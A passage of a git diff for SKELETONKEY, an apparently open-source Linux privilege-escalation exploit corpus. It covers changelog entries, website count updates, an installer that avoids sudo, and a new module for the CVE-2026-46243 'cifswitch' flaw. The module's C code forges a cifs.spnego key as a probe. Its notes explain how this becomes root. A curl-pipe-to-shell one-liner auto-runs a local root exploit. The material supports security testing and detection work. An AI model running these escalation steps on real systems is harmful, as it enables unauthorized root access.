+`VULNERABLE` (override the probe with `SKELETONKEY_CIFS_ASSUME_PRESENT=1`
+/`0`). `exploit()` fires only the non-destructive primitive — `add_key(2)`
+of a forged-but-benign `cifs.spnego` key, which does **not** invoke
+`cifs.upcall` and loads nothing, revoked immediately — and treats a clean
+accept as the empirical witness that userspace can forge the
+authority-bearing key type. It then stops: the namespace-switch +
+malicious-NSS-load root-pop is target/config-specific and is not bundled
+until VM-verified, so it returns honest `EXPLOIT_FAIL` without a euid-0
+witness (never fabricates root). `--mitigate` blocklists the `cifs`
+module (`/etc/modprobe.d/skeletonkey-disable-cifs.conf`); `--cleanup`
+reverts. Structural, arch-agnostic (keyring + namespace logic, no
+shellcode). Ships auditd + sigma + falco rules, MITRE ATT&CK T1068 +
+CWE-20 metadata, six new `detect()` unit-test rows, and credits Asim
+Manizada in `NOTICE.md`. **Partially VM-verified** (2026-06-08, Ubuntu
+24.04.4 / kernel 6.8.0-117, QEMU/HVF): `detect()`'s precondition + version
+gating and the `add_key` primitive are confirmed — an independent
+`python3` `ctypes` `add_key("cifs.spnego", …)` was accepted and the
+module's `exploit()` reported "primitive CONFIRMED" then honest
+`EXPLOIT_FAIL`. The full namespace+NSS root-pop and a patched-kernel
+discriminator check remain pending, so cifswitch is **not** counted as a
+verified end-to-end CVE — the verified count stays 28 of 37. Details in
+the module `NOTICE.md` and `tools/verify-vm/targets.yaml`.
+
+## SKELETONKEY v0.9.9 — install.sh needs no root; CVE-2022-0492 KEV drift
+
+Two maintenance fixes, no new modules.
+
+**`install.sh` never escalates to sudo.** SKELETONKEY is a privilege-
+escalation tool — the operator by definition does *not* have root yet, so
+the installer must not demand it. The old default wrote to `/usr/local/bin`
+and fell back to `sudo mv` when that wasn't writable, prompting for a
+password on exactly the unprivileged accounts this tool targets. It now
+installs sudo-free: `/usr/local/bin` is used only when already writable,
+otherwise it falls back to a per-user `$HOME/.local/bin` (honoring
+`XDG_BIN_HOME`), created as needed. An explicit `SKELETONKEY_PREFIX` is
+honored exactly and errors rather than escalating if unwritable. When the
+chosen dir isn't on `$PATH` the installer prints the absolute path, and the
+documented `curl … | sh && skeletonkey --auto --i-know` one-liner now
+prepends `$HOME/.local/bin` to `$PATH` so it resolves on a fresh login. The
+quickstart no longer prefixes `sudo` to `--scan`/`--audit`/`--auto` —
+detection and escalation run as the unprivileged user; only writing audit
+rules into `/etc/audit` legitimately needs root.
+
+**Federal metadata drift (the failing scheduled build).** The weekly
+`drift-check` caught two upstream changes since v0.9.8:
+
+- **CVE-2022-0492 entered CISA KEV (2026-06-02).** The cgroup v1
+  `release_agent` container-escape (`cgroup_release_agent`) is now on the
+  Known Exploited Vulnerabilities catalog. The corpus reports **13 of 36**
+  modules covering KEV-listed CVEs (was 12).
+- **CVE-2026-46333 gained a CWE.** When `ptrace_pidfd` was added two weeks
+  after disclosure, NVD had not yet classified it; it is now **CWE-269**
+  (Improper Privilege Management).
+
+A third, latent cause kept the gate red even after those two: when
+`sudo_host` (CVE-2025-32462) was added in v0.9.8 its record was appended to
+the *end* of `CVE_METADATA.json`, but the drift check compares the record
+list in `discover_cves()`'s sorted order — so the out-of-order entry read
+as drift regardless of its values. Regenerating via the script restores
+sorted order.
+
+Refreshed `CVE_METADATA.json`, the generated `cve_metadata.c` table, and
+`KEV_CROSSREF.md` accordingly (README + website counts updated).
+
 ## SKELETONKEY v0.9.8 — two new LPE modules (ptrace_pidfd, sudo_host)
 
 Adds the two most compelling recent Linux LPEs not already in the corpus,

docs/app.js

@@ -10,7 +10,7 @@
    * 1. typed install command in the hero
    * ============================================================ */
   const installCmd =
-    'curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \\\n  && skeletonkey --auto --i-know';
+    'curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \\\n  && export PATH="$HOME/.local/bin:$PATH" \\\n  && skeletonkey --auto --i-know';
   const typedEl  = document.getElementById('install-typed');
   const cursorEl = document.getElementById('install-cursor');
 

docs/index.html

@@ -4,9 +4,9 @@
 <meta charset="UTF-8">
 <meta name="viewport" content="width=device-width, initial-scale=1.0">
 <title>SKELETONKEY — Linux LPE corpus, VM-verified, SOC-ready detection</title>
-<meta name="description" content="One binary. 41 Linux privilege-escalation modules from 2016 to 2026. 28 of 36 CVEs empirically verified in real Linux VMs. 10 KEV-listed. 151 detection rules across auditd/sigma/yara/falco. MITRE ATT&CK and CWE annotated. --explain gives operator briefings.">
+<meta name="description" content="One binary. 43 Linux privilege-escalation modules from 2016 to 2026. 28 of 38 CVEs empirically verified in real Linux VMs. 13 KEV-listed. 151 detection rules across auditd/sigma/yara/falco. MITRE ATT&CK and CWE annotated. --explain gives operator briefings.">
 <meta property="og:title" content="SKELETONKEY — Linux LPE corpus, VM-verified">
-<meta property="og:description" content="41 Linux LPE modules; 28 of 36 CVEs empirically verified in real VMs. 151 detection rules. ATT&CK + CWE + KEV annotated.">
+<meta property="og:description" content="43 Linux LPE modules; 28 of 38 CVEs empirically verified in real VMs. 151 detection rules. ATT&CK + CWE + KEV annotated.">
 <meta property="og:type" content="website">
 <meta property="og:url" content="https://karazajac.github.io/SKELETONKEY/">
 <meta property="og:image" content="https://karazajac.github.io/SKELETONKEY/og.png">
@@ -56,14 +56,14 @@
   <div class="container hero-inner">
     <div class="hero-eyebrow">
       <span class="dot dot-pulse"></span>
-      v0.9.8 — released 2026-06-02
+      v0.9.11 — released 2026-06-08
     </div>
     <h1 class="hero-title">
       <span class="display-wordmark">SKELETONKEY</span>
     </h1>
     <p class="hero-tag">
-      One binary. <strong>41 Linux LPE modules</strong> covering 36 CVEs —
-      <strong>every year 2016 → 2026</strong>. 28 of 34 confirmed against
+      One binary. <strong>43 Linux LPE modules</strong> covering 38 CVEs —
+      <strong>every year 2016 → 2026</strong>. 28 of 38 confirmed against
       real Linux kernels in VMs. SOC-ready detection rules in four SIEM
       formats. MITRE ATT&amp;CK + CWE + CISA KEV annotated.
       <span class="hero-tag-pop">--explain gives a one-page operator briefing per CVE.</span>
@@ -81,9 +81,9 @@
     </div>
 
     <div class="stats-row" id="stats-row">
-      <div class="stat-chip"><span class="num" data-target="41">0</span><span>modules</span></div>
+      <div class="stat-chip"><span class="num" data-target="43">0</span><span>modules</span></div>
       <div class="stat-chip stat-vfy"><span class="num" data-target="28">0</span><span>✓ VM-verified</span></div>
-      <div class="stat-chip stat-kev"><span class="num" data-target="12">0</span><span>★ in CISA KEV</span></div>
+      <div class="stat-chip stat-kev"><span class="num" data-target="13">0</span><span>★ in CISA KEV</span></div>
       <div class="stat-chip"><span class="num" data-target="151">0</span><span>detection rules</span></div>
     </div>
 
@@ -227,7 +227,7 @@ uid=0(root) gid=0(root)</pre>
         <div class="bento-icon">★</div>
         <h3>CISA KEV prioritized</h3>
         <p>
-          12 of 36 CVEs in the corpus are in CISA's Known Exploited
+          13 of 38 CVEs in the corpus are in CISA's Known Exploited
           Vulnerabilities catalog — actively exploited in the wild.
           Refreshed on demand via <code>tools/refresh-cve-metadata.py</code>.
         </p>
@@ -294,7 +294,7 @@ uid=0(root) gid=0(root)</pre>
           <code>tools/verify-vm/</code> spins up known-vulnerable
           kernels (stock distro + mainline from kernel.ubuntu.com), runs
           <code>--explain --active</code> per module, and records the
-          verdict. <strong>28 of 36 CVEs</strong> confirmed against
+          verdict. <strong>28 of 38 CVEs</strong> confirmed against
           real Linux across Ubuntu 18.04 / 20.04 / 22.04 + Debian 11 / 12
           + mainline 5.4.0-26 / 5.15.5 / 6.1.10 / 6.19.7. Records baked into the binary;
           <code>--list</code> shows ✓ per module.
@@ -309,7 +309,7 @@ uid=0(root) gid=0(root)</pre>
   <div class="container">
     <div class="section-head">
       <span class="section-tag">corpus</span>
-      <h2>36 CVEs across 10 years. ★ = actively exploited (CISA KEV).</h2>
+      <h2>38 CVEs across 10 years. ★ = actively exploited (CISA KEV).</h2>
     </div>
 
     <h3 class="corpus-h" data-color="green">
@@ -356,6 +356,8 @@ uid=0(root) gid=0(root)</pre>
       <span class="pill yellow">sequoia</span>
       <span class="pill yellow">vmwgfx</span>
       <span class="pill yellow">ptrace_pidfd</span>
+      <span class="pill yellow">cifswitch</span>
+      <span class="pill yellow">nft_catchall</span>
     </div>
 
     <p class="corpus-foot">
@@ -416,7 +418,7 @@ uid=0(root) gid=0(root)</pre>
         <div class="audience-icon">🎓</div>
         <h3>Researchers / CTF</h3>
         <p>
-          36 CVEs, 10-year span, each with the original PoC author
+          38 CVEs, 10-year span, each with the original PoC author
           credited and the kernel-range citation auditable.
           <code>--explain</code> shows the reasoning chain; detection
           rules let you practice both sides. Source is the documentation.
@@ -513,7 +515,7 @@ uid=0(root) gid=0(root)</pre>
       <div class="tl-col tl-shipped">
         <div class="tl-tag">shipped</div>
         <ul>
-          <li><strong>28 of 36 CVEs empirically verified</strong> in real Linux VMs</li>
+          <li><strong>28 of 38 CVEs empirically verified</strong> in real Linux VMs</li>
           <li><strong>kernel.ubuntu.com/mainline/</strong> kernel fetch path — unblocks pin-not-in-apt targets</li>
           <li>Per-module <code>verified_on[]</code> table baked into the binary</li>
           <li><strong>--explain mode</strong> — one-page operator briefing per CVE</li>
@@ -600,7 +602,7 @@ uid=0(root) gid=0(root)</pre>
       who found the bugs.
     </p>
     <p class="footer-meta">
-      v0.9.8 · MIT · <a href="https://github.com/KaraZajac/SKELETONKEY">github.com/KaraZajac/SKELETONKEY</a>
+      v0.9.11 · MIT · <a href="https://github.com/KaraZajac/SKELETONKEY">github.com/KaraZajac/SKELETONKEY</a>
     </p>
   </div>
 </footer>

install.sh

@@ -28,7 +28,11 @@ set -eu
 
 REPO="${SKELETONKEY_REPO:-KaraZajac/SKELETONKEY}"
 VERSION="${SKELETONKEY_VERSION:-latest}"
-PREFIX="${SKELETONKEY_PREFIX:-/usr/local/bin}"
+# PREFIX resolution is deferred until install time so we can pick a
+# sudo-free default. SKELETONKEY is a privilege-escalation tool — by
+# definition the operator does NOT have root yet, so the installer must
+# NEVER need sudo. Empty here means "auto-pick a writable dir below".
+PREFIX="${SKELETONKEY_PREFIX:-}"
 
 log()   { printf '[\033[1;36m*\033[0m] %s\n' "$*" >&2; }
 ok()    { printf '[\033[1;32m+\033[0m] %s\n' "$*" >&2; }
@@ -108,29 +112,49 @@ fi
 
 chmod +x "$tmp/skeletonkey"
 
-# Install. Try $PREFIX directly; if not writable, sudo.
-target_path="$PREFIX/skeletonkey"
-if [ -w "$PREFIX" ] || [ "$(id -u)" -eq 0 ]; then
-    mv "$tmp/skeletonkey" "$target_path"
-elif command -v sudo >/dev/null 2>&1; then
-    log "$PREFIX needs sudo; you may be prompted for password"
-    sudo mv "$tmp/skeletonkey" "$target_path"
+# Choose install dir — NEVER escalate to sudo. If the user pinned
+# SKELETONKEY_PREFIX we honor it exactly (creating it if needed) and
+# error rather than escalate when it isn't writable. Otherwise prefer
+# /usr/local/bin only when it happens to already be writable, and fall
+# back to a guaranteed per-user dir ($HOME/.local/bin) that needs no
+# privileges. This keeps `curl ... | sh` password-free for the exact
+# users this tool is meant for: unprivileged accounts.
+if [ -n "$PREFIX" ]; then
+    [ -d "$PREFIX" ] || mkdir -p "$PREFIX" 2>/dev/null \
+        || fail "cannot create SKELETONKEY_PREFIX=$PREFIX"
+    [ -w "$PREFIX" ] || fail "SKELETONKEY_PREFIX=$PREFIX not writable (the installer never uses sudo — pick a writable dir)"
+elif [ -w /usr/local/bin ]; then
+    PREFIX=/usr/local/bin
 else
-    fail "$PREFIX not writable and sudo not available. Try SKELETONKEY_PREFIX=\$HOME/.local/bin"
+    PREFIX="${XDG_BIN_HOME:-$HOME/.local/bin}"
+    mkdir -p "$PREFIX" 2>/dev/null || fail "cannot create $PREFIX"
 fi
 
+target_path="$PREFIX/skeletonkey"
+mv "$tmp/skeletonkey" "$target_path" || fail "failed to install to $target_path"
 ok "installed: $target_path"
+
+# ~/.local/bin is frequently absent from PATH on fresh accounts — tell
+# the user how to invoke it rather than letting `skeletonkey` 404.
+case ":$PATH:" in
+    *":$PREFIX:"*) : ;;
+    *) log "note: $PREFIX is not on \$PATH — run it as $target_path, or add the dir to PATH" ;;
+esac
+
 "$target_path" --version
 
 cat >&2 <<EOF
 
 [\033[1;33m!\033[0m] AUTHORIZED TESTING ONLY — see https://github.com/${REPO}/blob/main/docs/ETHICS.md
 
-Quickstart:
-    sudo skeletonkey --scan                                 # what's this box vulnerable to?
-    sudo skeletonkey --audit                                # broader system hygiene
-    sudo skeletonkey --detect-rules --format=auditd \\
-       | sudo tee /etc/audit/rules.d/99-skeletonkey.rules   # deploy detection rules
+Quickstart (no root required — gaining it is the point):
+    skeletonkey --scan                  # what's this box vulnerable to?
+    skeletonkey --audit                 # broader system hygiene
+    skeletonkey --auto --i-know         # run the safest available LPE
+
+Deploy detection rules (defensive; only the write to /etc/audit needs root):
+    skeletonkey --detect-rules --format=auditd \\
+       | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
 
 See \`skeletonkey --help\` for all commands.
 EOF

modules/cifswitch_cve_2026_46243/MODULE.md

@@ -0,0 +1,60 @@
+# cifswitch — CVE-2026-46243 ("CIFSwitch")
+
+The kernel's `cifs.spnego` request-key type trusts userspace-forged
+authority fields, letting the root `cifs.upcall` helper be coerced into
+loading an attacker NSS module as root.
+
+## The bug
+
+`fs/smb/client/cifs_spnego.c` registers the `cifs.spnego` key type so the
+kernel CIFS client can ask the root-privileged `cifs.upcall` helper to
+perform a SPNEGO/Kerberos exchange. The key *description* carries
+authority-bearing fields — `pid`, `uid`, `creduid`, `upcall_target` —
+that `cifs.upcall` reads as trusted, kernel-originating inputs.
+
+The flaw: the kernel never verified the request actually came from the
+in-kernel CIFS client. Userspace can create keys of this type directly
+through `add_key(2)` / `request_key(2)`, supplying all those fields. By
+forging a description and manipulating user + mount namespaces, an
+unprivileged user makes `cifs.upcall` trust attacker-controlled state and
+load a malicious NSS shared library as root → root code execution.
+
+## Affected range
+
+| | |
+|---|---|
+| Flaw age | ~19 years (predates key-type origin checks) |
+| Fixed upstream | commit `3da1fdf4efbc`, merged 7.1-rc5 |
+| Debian backports | 5.10.257 · 6.1.174 · 6.12.90 · 7.0.10 |
+| NVD class | CWE-20 (Improper Input Validation) |
+| CISA KEV | no (as of disclosure) |
+
+Branches Debian does not ship (5.15 / 6.6 / 6.8 / 6.11 …) are reported on
+the version-only verdict; confirm empirically.
+
+## Trigger / detection
+
+`detect()` returns `OK` for patched kernels, `PRECOND_FAIL` for a
+vulnerable kernel where `cifs.upcall` / the `cifs.spnego` request-key rule
+isn't installed (cifs-utils absent → unreachable), and `VULNERABLE` when
+both the version and the userspace path line up. The precondition probe
+can be overridden with `SKELETONKEY_CIFS_ASSUME_PRESENT=1` (force present)
+or `0` (force absent).
+
+`exploit()` fires the non-destructive primitive: `add_key(2)` of a
+forged-but-benign `cifs.spnego` key (no upcall, loads nothing), revoked
+immediately. A clean accept is the witness that userspace can forge the
+authority-bearing key type. The full root-pop (namespace switch +
+malicious NSS load) is **not** bundled until VM-verified — honest
+`EXPLOIT_FAIL` without a euid-0 witness.
+
+## Fix / mitigation
+
+Upgrade the kernel. As a runtime stopgap, blocklist the `cifs` module —
+`--mitigate` writes `/etc/modprobe.d/skeletonkey-disable-cifs.conf`
+(needs root) and `--cleanup` removes it. Already-loaded `cifs` persists
+until unmount + `rmmod cifs` or reboot.
+
+## Credit
+
+Asim Manizada (2026-05-28). See `NOTICE.md`.

modules/cifswitch_cve_2026_46243/NOTICE.md

@@ -0,0 +1,92 @@
+# NOTICE — cifswitch (CVE-2026-46243, "CIFSwitch")
+
+## Vulnerability
+
+**CVE-2026-46243 "CIFSwitch"** — the Linux kernel's `cifs.spnego`
+request-key type (`fs/smb/client/cifs_spnego.c`) accepts key descriptions
+created by **userspace** (via `add_key(2)` / `request_key(2)`) without
+verifying that the request originated from the in-kernel CIFS client. The
+key description carries authority-bearing fields — `pid`, `uid`,
+`creduid`, `upcall_target` — that the root-privileged `cifs.upcall`
+helper treats as trusted, kernel-originating inputs. An unprivileged
+local user forges such a description and, combined with user + mount
+namespace manipulation, coerces `cifs.upcall` into loading an
+attacker-controlled NSS shared library as root → local privilege
+escalation to root.
+
+It is a **~19-year-old** logic flaw — the cifs spnego upcall predates the
+key-type origin checks added to the keyrings subsystem later. NVD class:
+**CWE-20** (Improper Input Validation). Not in CISA KEV (as of disclosure).
+
+**Preconditions:** the `cifs` kernel module available, `cifs-utils`
+installed (so `cifs.upcall` is present), and the `cifs.spnego`
+request-key rule active. Default-vulnerable distributions reported
+include Linux Mint, CentOS Stream 9, Rocky Linux 9, AlmaLinux 9, Kali
+Linux, SLES 15 SP7, and Red Hat Enterprise Linux 6–10.
+
+## Research credit
+
+Discovered, named, and disclosed by **Asim Manizada** on **2026-05-28**,
+with a working proof-of-concept published the same day.
+
+- Red Hat advisory (RHSB-2026-005):
+  <https://access.redhat.com/security/vulnerabilities/RHSB-2026-005>
+- BleepingComputer write-up:
+  <https://www.bleepingcomputer.com/news/security/new-cifswitch-linux-flaw-gives-root-on-multiple-distributions/>
+- Upstream fix: commit `3da1fdf4efbc490041eb4f836bf596201203f8f2`
+  ("smb: client: reject userspace cifs.spnego descriptions"), merged
+  7.1-rc5.
+- Debian-tracked stable backports: 5.10.257 (bullseye) / 6.1.174
+  (bookworm) / 6.12.90 (trixie) / 7.0.10 (forky, sid).
+
+All research credit for finding and analysing this bug belongs to Asim
+Manizada. SKELETONKEY is the bundling and bookkeeping layer only.
+
+## SKELETONKEY role
+
+🟡 **Primitive / ported-from-disclosure — not yet VM-verified.**
+`detect()` gates on the kernel version (the Debian backport thresholds
+above) **and** the presence of the vulnerable userspace path
+(`cifs.upcall` / the `cifs.spnego` request-key rule) — a vulnerable
+kernel without `cifs-utils` is reported `PRECOND_FAIL`, not `VULNERABLE`.
+Override the probe with `SKELETONKEY_CIFS_ASSUME_PRESENT=1` (or `0`).
+
+`exploit()` fires only the reachable, **non-destructive** part of the
+primitive: it attempts to register a forged-but-benign `cifs.spnego` key
+as the unprivileged user via `add_key(2)` — which instantiates the key
+directly and does **not** invoke `cifs.upcall`, so it loads nothing and
+spawns no privileged helper — and revokes the key immediately. A clean
+accept is the empirical witness that the missing-origin-validation flaw
+is present. It then **stops**: the namespace-switch + malicious-NSS-load
+chain that actually lands a root shell is target/config-specific and is
+**not** bundled until it can be verified end-to-end against a real
+vulnerable VM, in keeping with the project's no-fabrication rule.
+`exploit()` returns `EXPLOIT_FAIL` unless it can witness euid 0.
+
+`--mitigate` writes `/etc/modprobe.d/skeletonkey-disable-cifs.conf`
+(blocklists the `cifs` module — the vendor-recommended runtime
+mitigation); `--cleanup` removes it. Architecture-agnostic — keyring and
+namespace logic, no shellcode.
+
+## Verification status (partial)
+
+Verified **2026-06-08** on **Ubuntu 24.04.4 LTS, kernel 6.8.0-117-generic**
+(QEMU/HVF, x86_64):
+
+- `modprobe cifs` registers the `cifs.spnego` key type (dmesg:
+  `Key type cifs.spnego registered`) — `cifs-utils` is **not** required to
+  reach the primitive.
+- An **independent** `python3` `ctypes` probe calling
+  `add_key("cifs.spnego", <forged uid/creduid/upcall_target>)` was
+  **ACCEPTED** (a plain `user`-key control was also accepted), and the
+  module's own `exploit()` independently reported **primitive CONFIRMED**
+  then the honest `EXPLOIT_FAIL`.
+- `detect()` returned `PRECOND_FAIL` with `cifs-utils` absent and
+  `VULNERABLE` under `SKELETONKEY_CIFS_ASSUME_PRESENT=1`.
+
+**Still pending** (so this stays 🟡 and is *not* counted as a verified
+end-to-end CVE): (a) confirming `add_key` is **rejected** on a *patched*
+kernel (≥ 6.12.90 / 7.0.10) — i.e. that the probe distinguishes
+fixed-from-vulnerable rather than the key type always permitting userspace
+creation; and (b) the full namespace + malicious-NSS root-pop, which
+remains unbundled.

modules/cifswitch_cve_2026_46243/skeletonkey_modules.c

@@ -0,0 +1,419 @@
+/*
+ * cifswitch_cve_2026_46243 — SKELETONKEY module
+ *
+ * CVE-2026-46243 "CIFSwitch" — the kernel's `cifs.spnego` request-key
+ * type accepts key descriptions created by *userspace* (via add_key(2) /
+ * request_key(2)) without verifying the request originated from the
+ * in-kernel CIFS client. Those descriptions carry authority-bearing
+ * fields (`pid`, `uid`, `creduid`, `upcall_target`) that the
+ * root-privileged `cifs.upcall` helper trusts as kernel-originating.
+ * An unprivileged user forges a description and — combined with user +
+ * mount namespace manipulation — coerces `cifs.upcall` into loading an
+ * attacker-controlled NSS shared library as root → local root.
+ *
+ * Disclosed by Asim Manizada, 2026-05-28 (public PoC same day). A
+ * ~19-year-old bug: the cifs spnego upcall predates the key-type origin
+ * checks added later. Fixed upstream by commit 3da1fdf4efbc (merged
+ * 7.1-rc5): "smb: client: reject userspace cifs.spnego descriptions".
+ * NVD: CWE-20 (Improper Input Validation). Not in CISA KEV.
+ *
+ * STATUS: 🟡 PRIMITIVE / ported-from-disclosure, NOT yet VM-verified.
+ *   Structural logic flaw — no offsets, no race, no shellcode. detect()
+ *   gates on (a) the kernel version (Debian-tracked backports below) and
+ *   (b) the presence of the vulnerable userspace path: the `cifs.upcall`
+ *   helper / `cifs.spnego` request-key rule. A vulnerable kernel without
+ *   cifs-utils is not reachable via this technique, so that case is
+ *   PRECOND_FAIL, not VULNERABLE. exploit() fires the reachable,
+ *   non-destructive part of the primitive — it attempts to register a
+ *   forged-but-benign `cifs.spnego` key as the unprivileged user (via
+ *   add_key(2), which does NOT invoke cifs.upcall) and observes whether
+ *   the kernel accepts a userspace-originated description — then STOPS.
+ *   The namespace-switch + malicious-NSS-load that turns that into a
+ *   root shell is target/config-specific and is not bundled until it can
+ *   be VM-verified end-to-end. Honest EXPLOIT_FAIL without a euid-0
+ *   witness; never fabricates root.
+ *
+ * Affected range (Debian-tracked stable backports of the fix):
+ *   5.10.x : K >= 5.10.257  (bullseye)
+ *   6.1.x  : K >= 6.1.174   (bookworm)
+ *   6.12.x : K >= 6.12.90   (trixie)
+ *   7.0.x  : K >= 7.0.10    (forky / sid); mainline fixed 7.1-rc5
+ *   Branches Debian doesn't track (5.15 / 6.6 / 6.8 / 6.11 ...) fall
+ *   through to the version-only verdict — confirm empirically.
+ *
+ * Preconditions: cifs kernel module available + cifs-utils installed
+ *   (`cifs.upcall` present) + the `cifs.spnego` request-key rule active.
+ *   Override the precondition probe with SKELETONKEY_CIFS_ASSUME_PRESENT
+ *   = 1 (force present) / 0 (force absent) when you know the fleet's CIFS
+ *   posture better than a local file probe can (also drives unit tests).
+ *
+ * arch_support: any. Keyring + namespace logic; no shellcode.
+ */
+
+#include "skeletonkey_modules.h"
+#include "../../core/registry.h"
+
+/* _GNU_SOURCE is passed via -D in the top-level Makefile; do not
+ * redefine here (warning: redefined). */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdbool.h>
+#include <unistd.h>
+
+#ifdef __linux__
+
+#include "../../core/kernel_range.h"
+#include "../../core/host.h"
+#include <errno.h>
+#include <fcntl.h>
+#include <sys/stat.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+
+/* keyring syscalls live in libkeyutils, not glibc — call them directly.
+ * The asm-generic numbers below match x86_64 / arm64 / most arches; fall
+ * back only when the toolchain headers don't already define them. */
+#ifndef SYS_add_key
+#define SYS_add_key 248
+#endif
+#ifndef SYS_keyctl
+#define SYS_keyctl 250
+#endif
+
+/* keyctl operations + special keyring ids (uapi/linux/keyctl.h). */
+#ifndef KEYCTL_REVOKE
+#define KEYCTL_REVOKE 3
+#endif
+#ifndef KEY_SPEC_PROCESS_KEYRING
+#define KEY_SPEC_PROCESS_KEYRING (-2)
+#endif
+
+typedef int sk_key_serial_t;
+
+static sk_key_serial_t sk_add_key(const char *type, const char *desc,
+                                  const void *payload, size_t plen,
+                                  sk_key_serial_t keyring)
+{
+    return (sk_key_serial_t)syscall(SYS_add_key, type, desc,
+                                    payload, plen, keyring);
+}
+static long sk_keyctl_revoke(sk_key_serial_t key)
+{
+    return syscall(SYS_keyctl, (long)KEYCTL_REVOKE, (long)key, 0L, 0L, 0L);
+}
+
+/* Debian-tracked stable backports of the 2026 fix (commit 3da1fdf4efbc,
+ * mainline 7.1-rc5). These are the authoritative thresholds
+ * (security-tracker.debian.org). Branches Debian doesn't ship fall
+ * through to the version-only verdict in detect(). */
+static const struct kernel_patched_from cifswitch_patched_branches[] = {
+    {5, 10, 257},  /* 5.10-LTS backport (Debian bullseye) */
+    {6,  1, 174},  /* 6.1-LTS  backport (Debian bookworm) */
+    {6, 12,  90},  /* 6.12-LTS backport (Debian trixie) */
+    {7,  0,  10},  /* 7.0 stable        (Debian forky / sid) */
+};
+
+static const struct kernel_range cifswitch_range = {
+    .patched_from = cifswitch_patched_branches,
+    .n_patched_from = sizeof(cifswitch_patched_branches) /
+                      sizeof(cifswitch_patched_branches[0]),
+};
+
+/* Is the vulnerable userspace path present? The load-bearing signal is
+ * the cifs.upcall helper (the privileged component the bug abuses); the
+ * cifs.spnego request-key rule and a loaded/loadable cifs module
+ * corroborate. SKELETONKEY_CIFS_ASSUME_PRESENT overrides the probe:
+ * "1" = present, "0" = absent (operators who know their fleet's CIFS
+ * posture, and the unit tests, use this). */
+static bool cifs_userspace_present(void)
+{
+    const char *force = getenv("SKELETONKEY_CIFS_ASSUME_PRESENT");
+    if (force && (force[0] == '1' || force[0] == '0'))
+        return force[0] == '1';
+
+    struct stat st;
+    static const char *upcall_paths[] = {
+        "/usr/sbin/cifs.upcall", "/sbin/cifs.upcall",
+        "/usr/bin/cifs.upcall", "/usr/local/sbin/cifs.upcall", NULL,
+    };
+    for (size_t i = 0; upcall_paths[i]; i++)
+        if (stat(upcall_paths[i], &st) == 0)
+            return true;
+
+    /* request-key rule for cifs.spnego (cifs-utils ships this). */
+    static const char *reqkey_paths[] = {
+        "/etc/request-key.d/cifs.spnego.conf",
+        "/usr/share/request-key.d/cifs.spnego.conf", NULL,
+    };
+    for (size_t i = 0; reqkey_paths[i]; i++)
+        if (stat(reqkey_paths[i], &st) == 0)
+            return true;
+
+    return false;
+}
+
+static skeletonkey_result_t cifswitch_detect(const struct skeletonkey_ctx *ctx)
+{
+    const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
+    if (!v || v->major == 0) {
+        if (!ctx->json)
+            fprintf(stderr, "[!] cifswitch: host fingerprint missing kernel "
+                    "version — bailing\n");
+        return SKELETONKEY_TEST_ERROR;
+    }
+
+    /* A patched kernel is not vulnerable regardless of the userspace
+     * path — decide that first so the verdict is deterministic. */
+    if (kernel_range_is_patched(&cifswitch_range, v)) {
+        if (!ctx->json)
+            fprintf(stderr, "[+] cifswitch: kernel %s is patched "
+                            "(version-only check)\n", v->release);
+        return SKELETONKEY_OK;
+    }
+
+    /* Vulnerable kernel. Exploitation needs the cifs.upcall userspace
+     * path; without it the technique is unreachable here. */
+    if (!cifs_userspace_present()) {
+        if (!ctx->json) {
+            fprintf(stderr, "[i] cifswitch: kernel %s is in the vulnerable "
+                            "range but cifs.upcall / cifs.spnego request-key "
+                            "rule not found — cifs-utils not installed, bug "
+                            "not reachable here\n", v->release);
+            fprintf(stderr, "[i] cifswitch: if you know this fleet uses CIFS, "
+                            "re-run with SKELETONKEY_CIFS_ASSUME_PRESENT=1\n");
+        }
+        return SKELETONKEY_PRECOND_FAIL;
+    }
+
+    if (!ctx->json) {
+        fprintf(stderr, "[!] cifswitch: kernel %s VULNERABLE and cifs.upcall "
+                        "present — CVE-2026-46243 reachable\n", v->release);
+        fprintf(stderr, "[i] cifswitch: userspace can forge cifs.spnego key "
+                        "descriptions (pid/uid/creduid/upcall_target) the root "
+                        "cifs.upcall helper trusts\n");
+        fprintf(stderr, "[i] cifswitch: branches Debian doesn't track "
+                        "(5.15/6.6/6.8/6.11) are version-only here; confirm with "
+                        "`--exploit cifswitch --i-know`\n");
+    }
+    return SKELETONKEY_VULNERABLE;
+}
+
+static skeletonkey_result_t cifswitch_exploit(const struct skeletonkey_ctx *ctx)
+{
+    if (!ctx->authorized) {
+        fprintf(stderr, "[-] cifswitch: --i-know required for --exploit\n");
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+    skeletonkey_result_t pre = cifswitch_detect(ctx);
+    if (pre != SKELETONKEY_VULNERABLE) {
+        fprintf(stderr, "[-] cifswitch: detect() says not vulnerable/reachable; "
+                        "refusing\n");
+        return pre;
+    }
+    bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
+    if (is_root) {
+        fprintf(stderr, "[i] cifswitch: already running as root — nothing to do\n");
+        return SKELETONKEY_OK;
+    }
+
+    /* Reachable, non-destructive primitive witness: can we, as an
+     * unprivileged user, register a cifs.spnego key carrying the
+     * authority-bearing fields? add_key(2) instantiates the key directly
+     * — it does NOT invoke cifs.upcall (that is request_key's upcall
+     * path), so this loads nothing and triggers no privileged helper. On
+     * a VULNERABLE kernel the type accepts the userspace-originated
+     * description; the fix (3da1fdf4efbc) rejects it. We revoke any key
+     * we create immediately. A clean accept is the empirical signal that
+     * the missing-origin-validation flaw is present; any error is treated
+     * as inconclusive (could be patched, or add_key unsupported for the
+     * type) and reported honestly — we never infer root from it. */
+    const char *desc =
+        "ver=0x2;host=skeletonkey-probe;ip4=127.0.0.1;sec=krb5;"
+        "uid=0x0;creduid=0x0;user=skprobe;pid=0x0";
+    errno = 0;
+    sk_key_serial_t k = sk_add_key("cifs.spnego", desc, "\x00", 1,
+                                   KEY_SPEC_PROCESS_KEYRING);
+    if (k > 0) {
+        sk_keyctl_revoke(k);   /* don't leave the probe key lying around */
+        fprintf(stderr,
+            "[!] cifswitch: primitive CONFIRMED — kernel accepted a "
+            "userspace-forged cifs.spnego key (serial %d) carrying "
